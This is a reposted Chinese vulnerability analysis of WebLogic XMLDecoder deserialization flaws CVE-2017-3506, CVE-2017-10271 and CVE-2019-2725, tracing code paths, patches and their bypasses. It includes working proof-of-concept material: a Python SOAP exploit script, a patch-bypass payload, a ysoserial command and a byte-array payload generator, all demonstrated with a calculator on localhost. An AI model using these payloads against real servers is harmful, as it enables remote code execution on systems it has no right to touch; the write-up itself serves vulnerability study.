转载

Weblogic XMLDecoder近些年漏洞分析总结

Weblogic XMLDecoder近些年漏洞分析总结

分析环境:

主机:Win10

Java:Jdk1.7

Weblogic:10.3.6.0

调试器: IntelliJ IDEA

前言

近些年来,weblogic被爆的漏洞越来越多,“大有”赶超 Structs2 的势头。在weblogic的远程代码执行漏洞中又以XMLDecoder和t3协议的反序列化漏洞比较多。下面我们针对XMLDecoder反序列化漏洞做个分析总结。涉及漏洞主要有以下三个:CVE-2017-3506、CVE-2017-10271、CVE-2019-2725。

XMLDecoder测试

下面我们先看一段简单的代码:

public static void main(String[] args) throws IOException {
    String path = System.getProperty("user.dir");
    String pathXml = path + "//poc.xml";
    File file = new File(pathXml);
    FileInputStream fis = new FileInputStream(file);
    BufferedInputStream bis = new BufferedInputStream(fis);
    XMLDecoder xd = new XMLDecoder(bis);
    xd.readObject();
    xd.close();
}

其中poc.xml内容如下:

<?xml version="1.0" encoding="UTF-8"?>

<java version="1.7" class="java.beans.XMLDecoder">

<object class="java.lang.ProcessBuilder">

    <array class="java.lang.String" length="1">

        <void index="0">

            <string>calc</string>

        </void>

    </array>

    <void method="start" />

</object>

</java>

运行程序,当代码执行xd.readObject()之后,弹出计算器。由此可知,我在使用XMLDecoder处理xml内容时,如果我们不对文件内容做过滤,就会造成任意代码执行漏洞,我们下面分析的weblogic漏洞就是这个原因。

对XMLDecoder为什么会造成任意代码执行漏洞有兴趣的,可以跟踪下XMLDecoder,readObject的流程,参考: http://www.lmxspace.com/2019/06/05/Xmldecoder%E5%AD%A6%E4%B9%A0%E4%B9%8B%E8%B7%AF/

这里就不做过多说明。

Weblogic调试

作为一个weblogic小白,研究动态调试这个漏洞也是花了一番功夫。

首先,我们使用idea新建一个空工程,然后将wlserver_10.3的lib文件添加到项目中。如下图所示:

Weblogic XMLDecoder近些年漏洞分析总结

然后开启weblogic远程调试,我在D:/Oracle/Middleware/user_projects/domains/base_domain/bin/ setDomainEnv.cmd文件中加了一句话set debugFlag=true,然后启动domain就行了。

Weblogic XMLDecoder近些年漏洞分析总结

最后我们使用idea创建远程调试

Weblogic XMLDecoder近些年漏洞分析总结

然后调试运行该工程,如果idea console中出现

Connected to the target VM, address: ‘localhost:8453’, transport: ‘socket’

说明我们已经连接成功,可以远程调试了。

下面我们针对CVE-2017-3506漏洞下断点测试下,从网上其他文章分析,我们发送给

http://127.0.0.1:7001/wls-wsat/CoordinatorPortType 的数据会流经

weblogic.wsee.jaxws.workcontext.processRequest()处理,所以我们在processRequest处下个断点。

然后运行poc.py

import requests

headers = { 'Content-type': 'text/xml' }

data_calc = '''

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 

  <soapenv:Header>

    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 

      <java version="1.7" class="java.beans.XMLDecoder">

        <object class="java.lang.ProcessBuilder">

          <array class="java.lang.String" length="1">

            <void index="0">

              <string>calc</string>

            </void>

          </array> 

          <void method="start"/>

        </object>

      </java>

    </work:WorkContext>

  </soapenv:Header> 

  <soapenv:Body/>

</soapenv:Envelope>

'''

def exp(ip):

    url_post = ip + "/wls-wsat/CoordinatorPortType"

    r = requests.post(url=url_post,data=data_calc,headers=headers)

if __name__ == '__main__':

    ip = "http://127.0.0.1:7001"

    exp(ip)

可以看到程序已经断在我们下的断点处

Weblogic XMLDecoder近些年漏洞分析总结

CVE-2017-3506漏洞分析

我们知道该漏洞发生在 http://127.0.0.1:7001/wls-wsat/CoordinatorPortType 处,对应的war在D:/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war

其web.xml配置如下:

  <servlet>

    <servlet-name>CoordinatorPortTypeServlethttp</servlet-name>

    <servlet-class>weblogic.wsee.wstx.wsat.v10.endpoint.CoordinatorPortTypePortImpl</servlet-class>

    <load-on-startup>0</load-on-startup>

  </servlet>

  <servlet-mapping>

    <servlet-name>CoordinatorPortTypeServlethttp</servlet-name>

    <url-pattern>/CoordinatorPortType</url-pattern>

  </servlet-mapping>

由此可知该漏洞发生在D:/Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar中(这里可以自己写个程序遍历寻找该jar包)

Weblogic.jar中有两个类值得我们重点关注。

weblogic.wsee.workarea. WorkContextXmlInputAdapter

weblogic.wsee.jaxws.workcontext.WorkContextServerTube

我们先看下WorkContextXmlInputAdapter,一眼就能看出来这和XMLDecoder处理有关。

public WorkContextXmlInputAdapter(InputStream var1) {

    this.xmlDecoder = new XMLDecoder(var1);

}
public String readUTF() throws IOException {

    return (String)this.xmlDecoder.readObject();

}

具备构成xmldecoder反序列化的条件。

我们再看下WorkContextServerTube,在这里对我们传送过去的数据做处理。

我们上节讲到在processRequest()函数下断点,这里我们动态跟踪下,程序进入processRequest

Weblogic XMLDecoder近些年漏洞分析总结

然后进入readHeaderOld

Weblogic XMLDecoder近些年漏洞分析总结

Var4就是我们传入得soap转化成xml后的数据。

WorkContextXmlInputAdapter ()中对传入得数据初始化了一个XMLDecoder实例。

this.xmlDecoder = new XMLDecoder(var1);

那是何时调用readObject触发发序列化漏洞的呢。问题就在this.receive(var6)中,如果我们继续跟踪该函数,数据处理流程如下:

weblogic.wsee.jaxws.workcontext.WorkContextServerTube.receive(WorkContextInput var1)-> weblogic.workarea.WorkContextMapImpl.receiveRequest(WorkContextInput var1)-> weblogic.workarea.WorkContextLocalMap.receiveRequest(WorkContextInput var1)-> weblogic.workarea.spi.WorkContextEntryImpl.WorkContextEntry readEntry(WorkContextInput var0)

Weblogic XMLDecoder近些年漏洞分析总结

最后调用WorkContextXmlInputAdapter.readUTF()函数触发漏洞。

CVE-2017-10271漏洞分析

该漏洞是由于CVE-2017-3506漏洞打补丁不严谨造成的,我们先看下打完补丁后的代码,在文件WorkContextXmlInputAdapter.java中,添加了validate()

public WorkContextXmlInputAdapter(InputStream is){

    ...

    ...

    validate(new ByteArrayInputStream(baos.toByteArray()));   

    this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));

} 



private void validate(InputStream is){

  WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();   

  try{

    SAXParser parser = factory.newSAXParser();

    parser.parse(is, new DefaultHandler(){   

        public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {

            if (qName.equalsIgnoreCase("object")) {

                throw new IllegalStateException("Invalid context type: object");

        }

      }

    });

  }   

}

可以看到validate()函数中仅仅是过滤了object对象。由网上的poc可知,我们只需要把CVE-2017-3506中的object换成void即可绕过该补丁,新poc如下:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 

  <soapenv:Header>

    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 

      <java version="1.7" class="java.beans.XMLDecoder">

        <void class="java.lang.ProcessBuilder">

          <array class="java.lang.String" length="1">

            <void index="0">

              <string>calc</string>

            </void>

          </array> 

          <void method="start"/>

        </void>

      </java>

    </work:WorkContext>

  </soapenv:Header> 

  <soapenv:Body/>

</soapenv:Envelope>

为什么把object换成void就能绕过呢,这里牵涉到xmldecoder的解析过程,我们这里简单提下,具体可参考本文第二小节。

Xmldecoder在解析xml文件时,对每个类型标签都定义了一个专门的类来处理

public DocumentHandler() {

    this.setElementHandler("java", JavaElementHandler.class);

    this.setElementHandler("null", NullElementHandler.class);

    this.setElementHandler("array", ArrayElementHandler.class);

    this.setElementHandler("class", ClassElementHandler.class);

    this.setElementHandler("string", StringElementHandler.class);

    this.setElementHandler("object", ObjectElementHandler.class);

    this.setElementHandler("void", VoidElementHandler.class);

    this.setElementHandler("char", CharElementHandler.class);

    this.setElementHandler("byte", ByteElementHandler.class);

    this.setElementHandler("short", ShortElementHandler.class);

    this.setElementHandler("int", IntElementHandler.class);

    this.setElementHandler("long", LongElementHandler.class);

    this.setElementHandler("float", FloatElementHandler.class);

    this.setElementHandler("double", DoubleElementHandler.class);

    this.setElementHandler("boolean", BooleanElementHandler.class);

    this.setElementHandler("new", NewElementHandler.class);

    this.setElementHandler("var", VarElementHandler.class);

    this.setElementHandler("true", TrueElementHandler.class);

    this.setElementHandler("false", FalseElementHandler.class);

    this.setElementHandler("field", FieldElementHandler.class);

    this.setElementHandler("method", MethodElementHandler.class);

    this.setElementHandler("property", PropertyElementHandler.class);

}

处理void的类VoidElementHandler继承自处理object的类ObjectElementHandler,如下图,这两个类基本一样,所以xmldecoder对object标签和void标签的处理也基本一样。这也就是为什么poc中obect替换成void即可绕过补丁。

Weblogic XMLDecoder近些年漏洞分析总结

该漏洞的补丁如下

private void validate(InputStream is) {

    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();

    try {

       SAXParser parser = factory.newSAXParser();

       parser.parse(is, new DefaultHandler() {

          private int overallarraylength = 0;

          public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {

             if(qName.equalsIgnoreCase("object")) {

                throw new IllegalStateException("Invalid element qName:object");

             } else if(qName.equalsIgnoreCase("new")) {

                throw new IllegalStateException("Invalid element qName:new");

             } else if(qName.equalsIgnoreCase("method")) {

                throw new IllegalStateException("Invalid element qName:method");

             } else {

                if(qName.equalsIgnoreCase("void")) {

                   for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {

                      if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {

                         throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));

                      }

                   }

                }

                if(qName.equalsIgnoreCase("array")) {

                   String var9 = attributes.getValue("class");

                   if(var9 != null && !var9.equalsIgnoreCase("byte")) {

                      throw new IllegalStateException("The value of class attribute is not valid for array element.");

                   }

本次限制了object,new, method, void,array等关键字段,这样就不能生成Java实例,所以不能执行命令。

CVE-2019-2725漏洞分析

CVE-2019-2725漏洞出现在 http://127.0.0.1:7001/_async/AsyncResponseService ,对象的文件是bea_wls9_async_response.war。该漏洞虽然和前两个漏洞的利用地址不同,但归根结底还是xmldecoder的漏洞,下面我们具体分析下。

首先我们需要找到AsyncResponseService对应的处理类,我们在bea_wls9_async_response中的weblogic-webservices.xml发现其对应的类为weblogic.wsee.async.AsyncResponseBean。

Weblogic XMLDecoder近些年漏洞分析总结

定位该类对应的jar文件(自己写个遍历程序即可):

H:/tools>java -jar findClassJar.jar weblogic.wsee.async.AsyncResponseBean D:/Oracle/Middleware/wlserver_10.3/server/lib

Find weblogic.wsee.async.AsyncResponseBean in: D:/Oracle/Middleware/wlserver_10.3/server/lib/bea_wls9_async_response.war

Find weblogic.wsee.async.AsyncResponseBean in: D:/Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar

Find weblogic.wsee.async.AsyncResponseBean in: D:/Oracle/Middleware/wlserver_10.3/server/lib/wseeclient.jar

最终把文件锁定在weblogic.jar(我看网上有的文章定位到wseeclient.jar,但是我跟踪的结果,数据最后还是流到weblogic.jar中)中。

如果我们仅对AsyncResponseBean类中函数下断点,发现程序并不能断下来。我们可以对wsee/async下所有类的方法都下断点,会发现程序断在了AsyncResponseHandler类的handleRequest函数中。

Weblogic XMLDecoder近些年漏洞分析总结

然后我们接着往下跟踪,但是这样其实必不能发下什么东西。这里我直接给出结果。

我们根据函数调用栈,向上走一层到HandlerIterator类中。该类有个函数handleRequest,这个函数就是我们分析该漏洞的关键所在。我们重新将断点下在这里。

Weblogic XMLDecoder近些年漏洞分析总结

从这里可以看出HandlerIterator会循环遍历处理21中handle,我们一开始下的断点AsyncResponseHandler就是第13个handler。粗略看下21种handler的名字,我们会发下第17中handler似曾相识,我们看下WorkAreaServerHandler的handleRequest函数。

Weblogic XMLDecoder近些年漏洞分析总结

WorkContextXmlInputAdapter对象实例化,很熟悉吧!,就是前两个漏洞出问题的地方。后面的流程就和前两个漏洞一样了,流程如下(这里借用别人一张图),

Weblogic XMLDecoder近些年漏洞分析总结

接下来的问题就是绕过CVE-2017-10271的补丁了。

这里顺便提下,网上的好多假poc。

形如<void class=”java.lang.ProcessBuilder”>这样的poc。

我们看下上节中提到的CVE-2017-10271的补丁,

可以看到,object,new,method这些标签都被拦截了,遇到直接抛出错误。void标签后面只能跟index,array标签后面可以跟class属性,但是类型只能是byte类型的。

所以void class这种形式肯定会被过滤的,那为什么这样的poc还能测试成功的,那是因为网上的好多模拟环境是没有打补丁的,oracle weblogic的补丁是收费的。

绕过这个黑名单的关键是class标签,可以从官方的文档来了解一下这个标签。

Weblogic XMLDecoder近些年漏洞分析总结

class标签可以表示一个类的实例,也就是说可以使用class标签来创建任意类的实例。而class标签又不在WebLogic 的黑名单之内,这才是这个漏洞最根本的原因。4月26日,Oracle 发布这个漏洞的补丁,过滤了class标签也证实了这点。

下面我们简答构造一个poc来测试我们的想法,

Weblogic XMLDecoder近些年漏洞分析总结

其中<wsa:Action>test</wsa:Action> <wsa:RelatesTo>test</wsa:RelatesTo>是用来绕过21个handler中AsyncResponseHandler的RelatesTo处理的。

<asy:onAsyncDelivery/>使用来绕过OperationLookupHandler处理的。

使用Python做个简单的监听器:

import socket

host=''

port=80

addr=(host,port)

tcpSerSock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

tcpSerSock.bind(addr)

tcpSerSock.listen(5)

while True:

    tcpCliSock,client_addr=tcpSerSock.accept()

    print("a client is connecting...")

运行结果如下,漏洞触发:

Weblogic XMLDecoder近些年漏洞分析总结

由上可知,如果我们想要利用该漏洞,我们需要寻找一个类,该类有一个带参数构造函数,且构造函数中能针对我们传入得参数执行一定的操作。

这里列几个网上给出的类:

oracle.toplink.internal.sessions.UnitOfWorkChangeSet

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

有兴趣的可以自己试着做下利用。

这门这里讲下UnitOfWorkChangeSet的利用。

先看下该类:

Weblogic XMLDecoder近些年漏洞分析总结

UnitOfWorkChangeSet对象完成初始化过程后,使用ByteArrayInputStream对象接收经构造函数传入的字节数组,再将ByteArrayInputStream对象byteIn转换为ObjectInputStream对象objectIn,并直接调用了objectIn对象的readObject()方法。由于WebLogic安装包中默认SDK为1.6版本,在JDK版本<=JDK7u21前提下存在Java原生类反序列化漏洞,使用ysoserial工具生成恶意序列化对象(以计算器程序为例)。

java -jar ysoserial-master-66cda5a6cf-1.jar CommonsCollections1 calc.exe > payload.bin

我们写段简单的代码将二进制文件转为字节数组。

public static void bintobyte() throws IOException{
    File file = new File("F://tools//payload.bin");
    FileInputStream fis = new FileInputStream(file);

    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    int i;
    while ((i = fis.read()) != -1) {
        bos.write(i);
    }
    fis.close();
    byte[] xmlbytes = bos.toByteArray();

    String strPayload = "<array class=/"byte/" length=/"" + xmlbytes.length + "/">";
    for (int j = 0; j < xmlbytes.length; j++){
        strPayload +="<void index=/"" + String.valueOf(j) + "/"><byte>" + String.valueOf(xmlbytes[j]) + "</byte></void>";
    }
    strPayload +="</array>";
    System.out.println(strPayload);
    bos.close();
}

生成结果如下:

<array class="byte" length="1400"><void index="0"><byte>-84</byte></void><void index="1"><byte>-19</byte>......<void index="1399"><byte>58</byte></void></array>

发送payload

Weblogic XMLDecoder近些年漏洞分析总结

正常弹出计算器。

总结

从CVE-2017-3506到CVE-2019-2725,漏洞基本上都是通过对补丁文件的绕过挖掘的,这也给我们提供了很好的思路。还有,在分析漏洞时一定要自己跟踪调试,方能认识的更清楚。

参考:

http://www.lmxspace.com/2019/06/05/Xmldecoder%E5%AD%A6%E4%B9%A0%E4%B9%8B%E8%B7%AF/

https://www.cnblogs.com/0x4D75/p/8933028.html

https://paper.seebug.org/909/

原文  https://www.anquanke.com/post/id/185431
正文到此结束
Loading...